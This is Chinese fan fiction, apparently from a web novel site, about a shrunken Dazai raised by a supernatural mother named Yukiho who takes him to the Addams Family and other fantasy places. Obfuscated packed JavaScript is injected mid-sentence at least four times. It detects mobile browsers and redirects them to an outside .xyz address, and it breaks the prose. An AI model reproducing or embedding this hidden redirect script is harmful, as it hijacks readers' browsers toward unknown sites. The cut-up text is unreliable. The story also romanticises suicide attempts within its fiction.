要怎样才能弥补缺失的十六年呢? 怎么才能让太宰能够接受自己呢? 他会相信我是他妈妈吗?不会觉得我是骗子吧? …… 雪穗焦虑地在时间长廊里踱步,从春走到冬,从冬走回春。 “你们俩都是胆小鬼,不过胆小鬼有一个就够了,建议你直接A上去打直球。” “想这么多不如早点去他身边陪着他,去陪他一起创造未来吧。” 雪穗的好友如是说,顺便塞给了她一本手册。 于是雪穗出现在了太宰身边,但-隐身版。 雪穗一直看着太宰,在他身边默默地守护着,看着他短胳膊短腿却学着大人故作严肃样子心底软了软。 想立刻出现在他面前,又担心他无法接受“死而复生”的母亲。 只好偷偷在他看不见的地方打理他的生活。 直到看见区区侍女都能苛待她的孩子,雪穗出奇地愤怒了。 将侍女引到暗处狠狠敲了她三下,再把她扔进青森的森林里让她玩儿雪地版荒野求生。 自己化作了侍女的模样光明正大地插手太宰的生活。 用‘月见先生’戏弄津岛家主逗太宰开心, 送上幻想乡的‘特色美食’作为礼物, 当然也没有错过太宰因为触碰而失落的眼神, 既然幻想乡的物品无法触碰那就送人类世界的实物好啦~ 在当晚连夜想办法隔绝【人间失格】的力量…… 桩桩件件,都是一位母亲小心翼翼的爱。 ———— 太宰始终闭着眼睛,他不知道该说什么,头一次,他的心绪一团乱麻,像找不到线头的毛球滚来滚去。 他只想立刻消失在这个世界,避开这猛烈的情感。 雪穗看着太宰颤动的睫毛,为他的回避感到些许无奈,不由深深地抱住了他。 “对不起阿治,是妈妈来得太晚了。” 她低下头揉了揉太宰毛茸茸的脑袋,是她的错,才让你一个人在不知道的角落走到现在。 时间闭环里每一步的巧合都是幸运的指引,差了任何一步,我们都无法相遇,这是在万千时空里, 有且仅有的,唯一的奇迹。 太宰感到幻痛,他的眼前一幕幕闪过: 从在津岛家被判为‘怪物’的扭曲景象、青森诡谲的森林、 在横滨被森先生从冰冷河水里捞起的时刻、先代脖子上绽开的鲜血、丑陋的人心, 到被屏蔽的风雪、奇幻的礼物、温暖到令人灼伤的怀抱,交替着出现在眼前,成为耻笑他的怪物。 他像被割裂的两半,厌恶着沉溺在这温暖怀抱中的自己。 既然过去从未拥有,那就不要期待在黑暗中挣扎的自己能够有拥有幸福的可能,短暂的幸福背后可能的巨大痛苦让他止步不前。 拒绝、后退、远离——这是大脑疯狂运转后分析出的对当下最好的回应。 但是啊…拒绝的话在脑海里绕了千百回,却始终说不出口。 太宰张了张嘴,徒劳地发出几声气音,拉扯的情感让他痛苦万分…… 这时,一股舒缓的力量逐渐平息了太宰的情绪。 雪穗用手抵住了太宰的额头,微弱的光芒像清泉一样安抚了他激荡的情感。 在这一刻,他感到了无与伦比的宁静。 一滴热泪落在了他的眉心,太宰惊讶地睁开眼,对上了雪穗盈满热泪的眼睛。 雪穗笑着摇头,眼泪却从脸庞滑落,她不知道要说什么,也不知道要怎么做才能安抚她的孩子。 在漫长岁月里,雪穗第一次成为母亲,还不知道要如何做好一个母亲的时候,孩子已经长大。 她不知道要如何打破太宰的心防,如何才能弥补他们之间的沟壑。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869289|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着落泪:“阿治,你不知道我有多高兴,能够遇见你。” 太宰被强烈的情感迎面重击,呼吸都变得紧张起来,他用力往后缩想立刻消失在这里,整个人像炸毛的猫一样紧绷地望着雪穗。 他深深咽了咽口水,感觉到眉心的泪痕像滚烫的热油一路烫到了心里。 太宰瞳孔放大,看似人还在这里,实际上已经走了有一会儿了。 雪穗抚摸着太宰的脸颊,他犹豫了一瞬没有躲开,发现雪穗不再落泪后无意识地松了一口气。 太宰不知道要怎么面对这位突然出现的母亲,正绞尽脑汁准备转移话题时,听见雪穗说: “你想和我去幻想乡看看吗?那里有各种各样的奇幻生物。” 太宰深吸一口气,调整了自己的表情,故作可爱地笑着将自己的真实情绪掩埋起来:“就像你之前给我的食物那样吗?” “对哦,现在你有了手环,所有东西都可以尝试了哦~” “真的吗?!那可真是太棒了!” 两位自认为‘成熟的大人’不约而同地将此前情绪的爆发掩盖了过去,互相体贴的为对方留了台阶下。 【我真是转移话题的高手!】雪穗默默感叹道。 【还好把话题揭过去了,再多一秒真的要死掉了…】太宰默默感叹道。 融洽的一问一答中,雪穗用沉睡魔咒让太宰陷入梦乡,在睡意袭来的时候,太宰下意识紧紧抓住雪穗的手,又猛地放开。 连他自己都没反应过来为什么要这样做。 太宰心中对雪穗充满了好奇,头一次遇到自称‘母亲’,不管不顾贴上来的‘人’。 他想解析雪穗的目的和她背后的神秘世界,但相信妖怪的代价又是什么呢? 雪穗捧起太宰的头给了他一个晚安吻,“我会一直陪着你的,晚安阿治”。 太宰眨了眨眼睛,坚持了几秒后就陷入了沉眠。 6. 开局一只宰06 细软的阳光跳跃在太宰的脸庞上,映照出他安详恬静的睡颜。 雪穗斜靠在床榻上,一手拿着书,一手轻勾着太宰细软的发丝,一圈一圈绕在手指上又散开。 太宰从未有过如此平静的睡眠,繁复的思绪和情感都离他远去,他仿佛在不断下沉、下沉…… 慢慢的,所有感官都消失了,是从未有过的平静…… 太宰感受到另一个人的体温和在他头上作乱的手,【不是梦啊…】。 他转头蹭了蹭柔软的枕头,一睁眼就看见了一张和自己非常相似、面带笑意的脸。 太宰十分不自在地坐了起来,拉开了和雪穗的距离,神情别扭地说:“我可不是要大人陪着才能睡觉的小孩儿,我已经十六岁了哦~” “可是阿治现在只有四岁哦,四岁!正是和妈妈贴贴的年纪。”雪穗一把薅过太宰用力揉了揉他的脑袋。 “不是吧?我不能变回去吗?那我……” 太宰本该对横滨没有任何留恋,总是秉持着无论怎样都无所谓的他在那一瞬间想到了中也、织田作和安吾…… 设想了自己如果就这样消失在他们生命里,他们可能的反应…… 也许没人会在意吧,森先生倒是得为他没完成的任务头疼了哈哈~ “当然可以回去啦,但在回去前,阿治先陪妈妈去放个假吧”。 听到雪穗的话,太宰心头一跳…… 要是以现在的样子出现在蛞蝓面前会被嘲笑死的,太宰狠狠打了个战栗,“我才不要比漆黑小矮子更矮呢……” 不过倒是可以假装自己是‘太宰治’的孩子去碰瓷织田作!短短几秒太宰的脑子里就闪过各种各样的恶作剧。 雪穗起身示意太宰换上床头的新衣,是一套非常正式的着装。 但是,肃穆的黑白两色和胸前的白花,怎么看都不是日常的礼服,上面流动的暗纹闪过红色的光芒,更为这套衣服增添了一份诡谲的色彩。 “啊,第一站就去祭奠先祖吗?”太宰抖了抖小马甲,慢吞吞地换上了。 唔~是要把他绑去老巢吃掉吗?听说很多妖怪都喜欢吃小孩儿呢,所以是先诱骗再下口? “先祖?”谁敢说是我的祖宗?天生天养的雪穗挠了挠头。 “是去拜访朋友,过几天是平安夜,我收到了亚当斯家的邀请,一起去凑凑热闹呗”。 顺便去向女主人-莫蒂莎取一下经,自己可是个新手母亲,得去向这位有经验的前辈请教一下。 “亚当斯的邀请?这样去?”阴暗肃穆的礼服穿在太宰身上没有丝毫违和感,在太宰刻意压低的眉眼里更增添了一份黑暗世界的血腥味。 雪穗眼前一亮,一把抱起太宰转了个圈,暗涌的气氛被突兀地打破, “对对对!就是这个感觉!他们会爱死你的!”太宰眼神麻木,难以想象什么样的家庭会喜欢自己这样的小孩儿。 这一定是双向奔赴!雪穗兴高采烈地准备出发,并简单向太宰介绍了一下亚当斯家。 亚当斯家居住在终日笼罩着阴森可怖的浓雾的森林里,他们家的古堡在墓地旁。 男主人和女主人十分恩爱,有一对可爱的儿女,姐姐叫星期三,弟弟叫帕斯利,姐弟俩最喜欢的游戏是“谋杀”游戏,还养了很多可爱的宠物哦~ 阿治你一定会喜欢的! 太宰瞬间对这个家庭燃起了兴趣,“住在古堡?喜欢墓地?他们是吸血鬼吗?” 太宰的小脑袋里划过无数可能的猜想。 “不是呀,是人类哦~不过女主人莫蒂西亚那边有女巫的血统。” 所以也可以说是混血?雪穗无所谓地耸了耸肩,毕竟之前也没仔细研究过他们家的背景。 人类? 太宰对亚当斯的好奇达到了顶峰,主动缠着雪穗打听各种亚当斯的消息。 什么姐姐星期三每天都睡在绞刑架上、弟弟帕斯利是爆破大师、有会吃人的花、会咬人的地毯、甚至还养了一只断手! 太宰兴奋地在房间转来转去,这么有趣的家庭可不常见,太宰已经迫不及待地想见到亚当斯一家了。 他拉着雪穗的衣角说:“那就快走吧,我不想再呆在这里了”。 雪穗一把抱起太宰向外走去:“那就和腐朽的津岛家说再见吧。” 新生活就要开始了。 下一瞬他们腾空而起,狂乱的风噼啪作响,突如其来的失重感让太宰努力地睁大了眼睛。 雪穗正抱着他站在一条绚丽的白龙背上,白龙向上穿过云层,太宰向后望向津岛家。 看见他幼时生活的地方开始逐渐褪色,像泛黄的旧报纸一样出现裂纹,最终逐渐碎裂在他的眼前。 他将头转向了前方,白龙在云层中穿梭,整个青森都在他们脚下。 太宰扭动身躯向前倾,雪穗会意地将他放在了白龙头顶,让他抓着龙角能够更清楚地看清眼前的一切。 【人间失格】的消除技能让太宰失去了感受各种炫酷异能力的机会。 这是他第一次,亲身脱离了‘人’的范畴所能达到的地方,亲身接触了超脱寻常的力量,站在了此前从未达到的高度,他因此而感到快乐。 太宰转了转手上的手环,看向身后的雪穗,狡黠地笑了,然后往后一到,从白龙身上飞速坠落。 他在不断坠落—— 感受到失控的心跳,高空中挤压着身躯的强风,耳畔呼啸的风声,在越临近死亡的时候 ,才能有一种自己真的是活着的感受。 他带着笑闭上了眼睛,仍由自己不断坠落…… 最终落入了雪穗的怀抱。 无论是批评,斥责,厌恶都快一点到来吧,要早点看清我是什么样的人才好,不要对我有任何虚幻的期待。 但太宰只听见了雪穗的疑问:“嗯?要再来一次吗?” 太宰极受震撼,瞪大双眼像看怪物一样看着雪穗,愣了几秒后欢呼起来,“好耶!我要多玩儿几次!” 果然,她比我想象中更了解我。 太宰在心里默默思索,从雪穗说出要去亚当斯家他就发现了,怎么会有如此契合他喜好的家庭刚好邀请他们呢。 太宰故意跳下去,在雪穗早有预料的举措中证实了自己的猜想。 如果只是一场骗局,那她要么是破绽百出的新手,要么是故意以这种方式打消他怀疑的骗术大师。 但目的是什么呢? 不会是真心实意发现自己有一个孩子后要来养他吧? 太宰神奇古怪、费解地望向雪穗,这是他第一次遇到人心的难题。 以往遇到的人多看几眼就能发现他们内心潜藏的黑暗,但他看不懂雪穗……或许因为她不是人类? 那就再凑近一点观察吧~ ———— 在拜访亚当斯一家之前,雪穗展示了手环的另一个作用,当做次元口袋,可以存放无穷无尽的东西。 雪穗准备带太宰去‘七条街’,‘七条街’就是幻想乡里最有名的交易之地,七条街,交易七类不同的商品。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869290|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>平安夜尚未来临,是时候给阿治准备一点东西防身了,不然在和星期三与帕戈斯利的恶作剧中输了怎么办? 雪穗的背后燃起熊熊烈火,对太宰说:“绝对不要输!”这可是关乎养崽名誉的荣耀之战! 在太宰摸不着头脑中,雪穗气势昂扬地带着他站在了一扇充满了红棕色铁锈的大门前,掏出了两件黑色的斗篷让他披上。 一边解释道:“这条街里都是匿名交易,毕竟买卖的是一些邪恶不洁的东西。” 太宰乖乖地把斗篷的兜帽戴上,尝试着用指甲剐蹭了一下这扇铁门上的铁锈。 不曾想铁门正中间突然出现张大嘴一张一合地大吼: “好—痛——!” 他俩刚戴好的兜帽被铁门的口气吹得乱七八糟,太宰杂乱的黑色碎发被瞬间吹成了大背头。 雪穗噗嗤一声笑了出来,拿出相机飞快对着太宰连拍多张。 “啊啊啊啊啊!删掉啊删掉!”太宰跳起来挂在雪穗的手臂上左右摇晃。 “这有什么好拍的,快删掉嘛~”太宰发动撒娇攻势。 雪穗却不为所动,手一松相机就消失在了空气中,“我家阿治的可爱瞬间,值得收藏√”。 太宰从雪穗的手臂上失去了颜色,一点一点滑落下来像纸片一样折叠了起来…… 不妙啊,黑历史都在她手上了…… 雪穗一把把太宰拉起来,为他整理好衣服,将通行证往铁门嘴里一丢,就拉着太宰走进了‘死亡圣街’。 ‘死亡圣街’乍一眼看就是一条普普通通的步行街,但所有的建筑都是黑白两色的。 来来往往的生物也都披着黑袍,有在地上蠕动的,天上飞的,墙上爬的,绝大多数看起来还是像普通人类。 “因为用原型来披黑袍就没有意义了”,毕竟大多数非人生物的原型一眼就能看出是谁。 雪穗牵着太宰的手走在这条街上,太宰一会儿看看左边,一会儿看看右边,目之所及全都是他从未见过的新奇之物,闻言问到:“那他们都不是人类吗?” “幻想乡里的合法人类目前只有你一个哦。” 雪穗点了点太宰的手环,她将那颗玉石的道标复原,改造成通行证一起融了进去,“但是有很多偷渡客,毕竟有很多人类也拥有奇奇怪怪的能力。” 话音未落,雪穗的掌心就空了,太宰一溜烟钻进了右手边的‘凶器专卖店’。 “真拿你没办法”,雪穗宠溺地笑着站在店门口等待着。 太宰则蹦蹦跳跳地把头挂在房梁上的绳子上荡来荡去,老板则拿着叉棍驱赶太宰下来,并大声说着本店概不试用。 下一秒太宰整个人都贴在玻璃橱窗上,隔着玻璃像抚摸情人一样迷恋地抚摸着橱窗里瓶瓶罐罐五颜六色的毒药…… 她的阿治,作为人的内核已经初步形成,他已经习惯了在死亡中探求生命的意义,唯有感受到死亡的瞬间才惊觉自己是真实地活在这个世界上的。 他还在尝试、在探索人生的意义,他在以自己的方式努力地活着。 所以又有什么关系呢? 左右自己陪在阿治身边,又有手环的保护,他无论如何都不会真正出事。 就放任他去发展自己的爱好吧。 雪穗欣慰地拿出手册,在“尊重孩子自己的爱好”后打了个√。 确信自己离‘优秀的母亲’更近了一步。 画面翻转,只见她的手册上清清楚楚写着几个大字 ——“好妈妈指南”。 7. 开局一只宰07 在这短短半年的时间里,雪穗带着太宰去见识了各种奇观,探索了一切可能与不可能,照着手册所说勤勤恳恳养成一只宰,所谓‘黑历史’的相册也越来越厚…… 他们首先来到了亚当斯家,亚当斯家在一个与太宰所在时空完全不一样的世界,他们通过一扇扭曲的“门”来到了这里。 亚当斯古堡所在山下是一个同化小镇,里面居住着形形色色的普通人类。 雪穗带着太宰步行上山拜访,她换下了雪色的和服,穿上了正式的黑色长裙。 从怀里拿出一把只有荆棘,没有花苞的花束,在与亚当斯家的女主人-莫蒂莎见面的那一刻—— 雪穗松开太宰一个大跨步上前,揽住莫蒂莎的腰,将荆棘花束捧到她面前,轻叹:“好久不见,您的美貌依旧……” 话音未落,莫蒂莎的丈夫搂过她的肩大步旋转往后退了好几步,迅速打断了雪穗的话,邀请他们进入古堡。 莫蒂莎是一位优雅的贵妇人,黑色的紧身长裙更加凸显了她那幽深迷人的气质,延伸的黑色裙摆像丝巾一样盖住了她的脚。 随着她的走动裙摆向四周不断蔓延,就像有活物在里面蠕动一样。 对此,太宰捧着小脸双眼放光,发出不明所以的感叹:“哇哦~” ———— 但太宰与星期三的初见却并不愉快。 星期三是亚当斯家的长女,她有个弟弟叫做帕斯利。 太宰初见星期三便被她苍白幽暗、死亡般冰冷的气质深深吸引。 更何况她的黑色长编竟然是如此完美的吊绳的模样,这可比他重金淘来的麻绳更标致、更适合上吊的绳子。 于是太宰也一个大箭步跨上去捧起了星期三的手:“可爱的小姐,我为你的长辫深深着迷,或许你愿意……” 话还没说完,星期三就用力将太宰的指节往后一掰,虚着眼睛冷笑着重复:“可爱?你怎么敢用这种词来……夸赞我?” 并暗中决定将这个冒犯她的人大卸八块。 就此他们结下了梁子。 (雪穗在太宰身后小声解释: 任何正面的词汇对亚当斯家的人来说都是侮辱哦~要说他们邪恶古怪之类的。 太宰猫猫头流泪:您也不早点说…) 由于初见的误解,星期三针对太宰做了各种布置,比如: ——引诱太宰走到非洲绞杀花的捕食范围让它把太宰吞下去。 太宰毫不防备地闭着眼睛被大力咽了下去,却在下一秒浑身裹满黏液被吐了出来。 星期三在一旁惋惜:“克利奥帕特拉最近吃素,真不巧,你不是素食主义者。” ——支开大人们,准备让管家路奇给太宰一点颜色看看。 路奇有着巨人般的身高,泛着青绿的皮肤和无神的瞳孔,黑白色的管家制服上落满了厚厚的灰尘,嘴巴一张一合极其缓慢的发出低沉暗哑的声音。 星期三扬着下巴,面无表情地命令道:“路奇,让他见识一下你这双苍白的手能做些什么。” 太宰双手合十充满期待,没想到路奇直奔钢琴,双手灵活地在琴键上舞动,弹奏出美妙的音乐,同时随着音乐清唱: “只要我知道如何去爱” “我就知道我仍然活着” …… 太宰猛地捂住耳朵跪地:“这是多么可怕的一双手……” 星期三站在楼梯上摇头叹息:“忘了把钢琴藏起来了”。 ——对太宰下药迷晕他后将他砌到墙里。 没想到被他挖到了进入地牢的暗道,开发了刑具的多种用途,甚至是星期三都没想到古怪的用法。 绞刑架、杀人柳、电椅、后院沼泽地……统统都试过了。 但太宰每次都能在关键时刻突发意外。 比如侧刀卡住,绳子断裂,电流短路、漂起来被路奇捡走…… 星期三面色肃穆:“他是个邪恶狡猾的对手。” 太宰在亚当斯家如鱼得水,他此前从未想过有如此契合他的地方。 不需要任何虚伪的伪装,对死亡的追求甚至是被他们称赞的事情,这是多么美妙而理想的世界啊! 于是太宰开始放飞自我: ——半夜吊在雪穗的房间门口,晃悠了没几分钟就被雪穗一把抱了下来。 她给了太宰亚当斯家的地图和作息表,要求太宰保证睡眠,等天快亮再行动。 太宰义正言辞试图争论,被雪穗暴力镇压。 “阿治正是长身体的时候,要保证充足的睡眠哦~”太宰被绑架到床上被迫听幼稚的睡前故事。 第一次行动—败北。 ——根据地图,太宰发现了古堡里的各种暗道,通过暗道潜入了其他人的房间,准备了一点小惊喜。 比如: 将星期三床头绞刑架的链条放松一些; 将弟弟-帕斯利的火药触发装置进行改动,让读秒速度变快; 给宠物小猫-凯蒂(其实是狮子)吃了一瓶奇怪的魔药,魔药让凯蒂的毛发浑身都变成了鲜艳的粉红色,每一个亚当斯看了都震惊地倒吸一口气…… ——太宰还打印了一叠‘美脚’的照片让‘阿手’(亚当斯家的成员-一只断手)成功叛变成自己的小弟,多次配合他的行动; 拿出《完全自杀手册》和《帕斯利捉弄计划》与星期三达成和解,将亚当斯古堡宁静的生活扰得一团乱,但没有人来责怪阻止他。 甚至在他和星期三拿出小刀去报复帕斯利时,女主人-莫蒂莎会主动将小刀换成斧头,摸摸他们的头说:“用这个”。 ——太宰与星期三一起将帕斯利埋在后院的坟场里,无视他的呼救声,拿着《黑巫术》研究通灵方案。 “不是说通过坟墓可以联通已经死亡的亲人吗?收到亲人寄来的礼物什么的。” 太宰将铲子往墓碑旁边一插,踩在埋着帕斯利的松软土地上用力蹦跶了两下。 星期三坐在隔壁的墓碑旁,目光沉静、慢条斯理地翻阅着《黑巫术》,“差了点条件”。 她抬头与太宰对视了一眼,不约而同地说出:“是棺材!” 正当他们准备把旁边的棺材挖出来实验的时候,听见了雪穗的声音: “孩子们开饭了~”雪穗站在露台上远远对着后院呼喊。 星期三跳下墓碑,将书往怀里一揣,“真是幸运啊,下次可不一定了”,转头示意太宰和她一起回到古堡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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在最后离开的时候,所有人都对他表达了不舍。 他还得到了星期三送的礼物:《中世纪刑具与发型》…… 太宰看着亚当斯们对他挥手告别,大声邀请他下次来玩儿,大笑起来,许下了下一次的约定。 ————— 至于在亚当斯家的雪穗,则大多数时候都在和亚当斯家的莫蒂莎探讨育儿经验。 她们两人经常在露台上喝着茶,看着庭院里孩子们的打闹。 “星期三很少有这么好动的时候”,莫蒂莎举起茶杯感叹道。 “你的孩子和我们不一样,他虽然和亚当斯一样热爱死亡,喜欢玩儿一些无伤大雅的‘游戏’,但他并不邪恶。他的身上有一种亚当斯没有的……嗯…” 莫蒂莎在自己的词库中搜索了一下,不知道怎么形容,迟疑片刻道:“生命力?” 就好像他并没有在追求真正的死亡,而是在死亡中探求新生。 雪穗蓦地笑了起来,又轻叹道:“我知道”。 阿治一直都是个很好的孩子,可他对这个世界的留恋太少了。 她在陪着他建立羁绊,想让他能对这个世界更感兴趣一些。 8. 开局一只宰08 从亚当斯家离开后,他们走过了妖精之森,闯入叹息龙谷,参观天空之城,探索海之遗迹…… 他们将幻想乡里里外外翻了个遍,共同续写了数不清的故事: 比如: 太宰和魔药作坊 在见识到‘死亡圣街’淘来的各种魔药的神奇力量后,太宰对着雪穗演了好一出独角戏,央求雪穗带他去学习一下如何制作魔药。 “我的厨艺可好了,做饭如此优秀的我,相信魔药也不在话下~呐呐~带我去嘛~” 雪穗对太宰的撒娇攻势毫无抵抗力,瞬间倒戈。 连夜带着太宰飞奔到断头谷的女巫聚集地,用武力征用了一间魔药作坊,让可怜的小女巫教太宰熬魔药。 第二天一早,雪穗从外面走进来时,刚好被哭着飞奔出去的小女巫撞到。 转头就看见小女巫骑着扫帚头也不回地跑掉了,挠头疑惑地看向追出来的太宰。 太宰耸耸肩,双手一摊:“我什么也不知道哦~我可没有欺负女性的爱好”。 太宰右脚往石凳上一跨,双手挥舞神情夸张地说着自己是如何如何在一晚上学会了大多数魔药的。 “我还学会了自创魔药,看‘加强版活力恢复药剂’,灵感来源我的厨艺哦~” “一个晚上?阿治可真厉害,你很有天赋嘛”雪穗夸赞着太宰。 拿起了那瓶魔药:鎏金色的液体在阳光照射下显得格外神圣。 “要不要试一试?一看你昨晚就没有休息,喝了它可以恢复疲劳哦~” 太宰在雪穗的左右两边交替撺掇,想让雪穗试试药效。 同时不经意地打量着雪穗身上的痕迹,靠近后有很重的木屑的味道,半夜出去砍木头? 雪穗打开瓶塞一饮而下,搓了搓下巴评价道:“味道真不错,比市面上大多数魔药的味道都好”。 然后给太宰比了个超棒的手势,下一秒就‘砰——’地一声倒在地上不省人事。 “欸?!怎么会这样?” 有哪一步做错了吗? 太宰蹲在雪穗的身旁戳了戳雪穗的脸,叹了一口气琢磨怎么用自己四岁的力量把她搬回房间里。 没想到雪穗突然像僵尸一样直愣愣地坐了起来,咔咔转头望向太宰双眼放光。 太宰被雪穗直白的眼神看得头皮发麻,心底泛起一股非常不妙的预感站起来转身就跑。 但四岁的小短腿哪里跑得过雪穗。 雪穗狂笑着把太宰一把掳起来发出爆鸣声: “哦吼吼吼,妈妈的阿治也太可爱了吧,快来妈妈怀里让妈妈亲亲~~” 太宰瞳孔瞬间放大,从头到脚起了一身鸡皮疙瘩,不断挣扎想要脱离魔手。 “你…你…你先放开我……喘…不过气……” 太宰被雪穗死死锢在怀里,好不容易伸出头来喘了口气,就看见雪穗站起来扛着他转身就跑…… 扛起来—转身—就—跑—— 放—我—下—来—啊——太宰在高速移动中无声惊叫。 只见雪穗扛着太宰挨家挨户敲门,等门一打开,雪穗就把太宰举起来正面对着对方说: “早上好,哎呀,你怎么知道我有一个超级无敌可爱的孩子的?” 然后又把太宰扔回肩头转身跑向下一家。 太宰被颠得头晕眼花,反胃恶心,还得被迫参演雪穗的炫宰演出。 他吊在雪穗肩上口吐灵魂,听着此前从未听过的肉麻夸赞,恨不得立刻跳下去挖个坑把自己埋起来…… “我家阿治可是世界上绝无仅有的好孩子……” “瞧,这孩子多乖巧,嘿嘿你怎么知道是我家的~” …… 雪穗带着太宰从早奔到晚,断头谷的所有生物都没被放过,就连地里的石头都给雪穗一脚踹出来拎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869292|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听了一遍她的夸赞。 太宰从反抗-捂着耳朵-麻木-自闭-接受现实,也只用了短短一天时间…… 等到太阳下山的时候,他们已经被女巫们赶出了断头谷。 女巫们还在谷口挂上了很大一块牌子画着他俩的头像,用红色在脸上打了一个大大的×。 夜色渐浓之时,雪穗终于支撑不住,护着太宰倒在了沙地里呼呼大睡。 太宰挣扎良久终于逃脱了雪穗钢铁般的手臂,盘腿坐在雪穗的身旁一言不发,从怀里摸出了一把锃亮的匕首。 匕首在夜光下反射过一丝冰冷的光芒,恰好映射出太宰漆黑如墨的双眸。 太宰拿着匕首靠近雪穗虚空比划了几下,“你究竟有什么目的呢?” 母亲?所谓父母之情,在他眼中也比不过利益的交换,因为蝇头小利出卖孩子的事情比比皆是。 感情是最不可靠的东西,他早已见惯了人心的丑恶,从不相信什么无条件的付出。 这段时间以来雪穗对他无微不至的关怀与照顾,都让他感到无所适从。 太宰站起身来想一走了之,远离这个突兀闯进他生活中,强制照顾他的罪魁祸首。 但举目四望都是荒漠的戈壁,太宰往前迈了几步又转身坐回了原地。 得到这短暂偏爱的代价是什么呢?他目不转睛地盯着雪穗,想要从她脸上看出答案一般,最终将匕首瞄准雪穗的脑袋—— 咻——地一下将匕首掷了出去。 …… …… 刀光划过雪穗的脸庞留下一丝血痕,死死钉住了她耳旁的一只蝎子。 太宰垂下眼睑,嘟囔着:“怎么一点警惕心都没有,还好手环里还有吃的,不然我就要饿死了…” 算了,等回到横滨后再甩开她吧… …… 从此以后,雪穗再也不喝经太宰的手拿出来的魔药了。 9. 开局一只宰09 雪穗的好友之一:桑落,作为游戏制作狂魔,创造了属于他自己的游戏世界。 “是全息游戏哦~”雪穗用诱拐小朋友的语气发出邀请,带着太宰进入了桑落的游戏世界—— 魔王与太阳神器。 太宰在进入游戏后迅速摸清了人物设定,将自己设置成了十六岁的模样。 吐槽道:“剧情也太老套了吧,就是魔王、公主与勇士的故事,把勇士的武器换成了所谓的‘神器’而已。” 太宰一边嫌弃,一边又兴奋不已地戳戳路边的树,拔拔草,打打鸟。 “不过如果不说的话,真的看不出来这是游戏世界呢~” 太宰大步往前走,加速奔跑撞向路边的树,咚地一声额头上隆起一个巨大的包,太宰摸了摸头:“原来痛感也会下调吗?” 雪穗掰过太宰的身子,站在一旁面对他严肃地说: “伟大的勇士啊,现在只有你能拯救苦难的城民了,拿起你的武器为□□夺回光明吧!” 她牙都快咬碎了,桑落为了防止她进来偷走他游戏的核心,把她限制在了这个NPC的设定里。 太宰尝试憋笑,用力捂着嘴巴不让自己笑出声来,“所以你是引导NPC吗?那我该怎么做呢?” 雪穗嘴里回答着:“勇士,或许你可以先去城里的铁匠铺看看?”手里却举起一块牌子,上面写着: 阿治,目标是一支‘滴管’,在国王起居室的花瓶里,打碎就能取出来。 “好吧好吧,我就知道你带我来不是单纯地玩儿游戏。” 太宰伸了个懒腰挥了挥手,“那你出去等我吧,看我速通这个游戏”。 于是太宰一路过五关斩六将,煽动群众,完成首杀得到国王接见,国王邀请太宰留宿王宫,并赋予了他‘勇者’的称号。 “果然是最简单的那种单机剧情”,太宰看透游戏的运行机制后就丧失了兴趣。 当晚就潜入国王起居室砸碎花瓶拿到‘滴管’,一路翻身上了天台。 太宰站在天台的边缘,预测了一下NPC追兵的方位,“啊拉,没时间让我逃跑了呢~”。 那就从这里跳下去好啦,太宰搓了搓下巴。 唔~上次已经试过从高空坠落了,这次试试用冷兵器吧,正好能让他感受一下心脏被刺破的感觉。 太宰掏出了匕首,在胸前反复比划了两下找准了下刀的位置,却在用力下刺的时候被死死抓住了手腕,匕首也被人夺下。 “就算是在游戏里,也不太希望看见你在我面前做这种事呢”。 太宰在月色的城堡下看着逐渐显现身影的雪穗,眼神闪烁,抱怨道:“可你没有告诉我要怎么退出游戏嘛~” “我会带你出去”,雪穗牵着太宰的手将他从天台的边缘扯了下来,“无论在什么情况下,你都不需要这样做,我总会来接你的。” 太宰第一次以十六岁的身躯站在雪穗面前,深深地望进雪穗的双眸,他目光微闪,低声道: “那就等你几分钟好啦,我可没有什么耐心。” 雪穗牵着太宰的手,将他带离了那个天台,也带他离开了游戏世界。 ———— “所以这东西有什么用呢?” 太宰上下抛接着这根平平无奇的滴管,怎么看都和实验室里一抓一大把的滴管一模一样。 “可别小看它,它才是真正的神器”,雪穗接过‘滴管’向太宰解释道: “桑落就是为了隐藏这个东西才开辟游戏世界的,它在最初只能改换两个物体的颜色。” “仅仅是改变颜色不能称为‘神器’吧?” “当然,因为一些特殊的原因,它的能力升格了,现在可以互换拾取对象的能力,比如这样——” 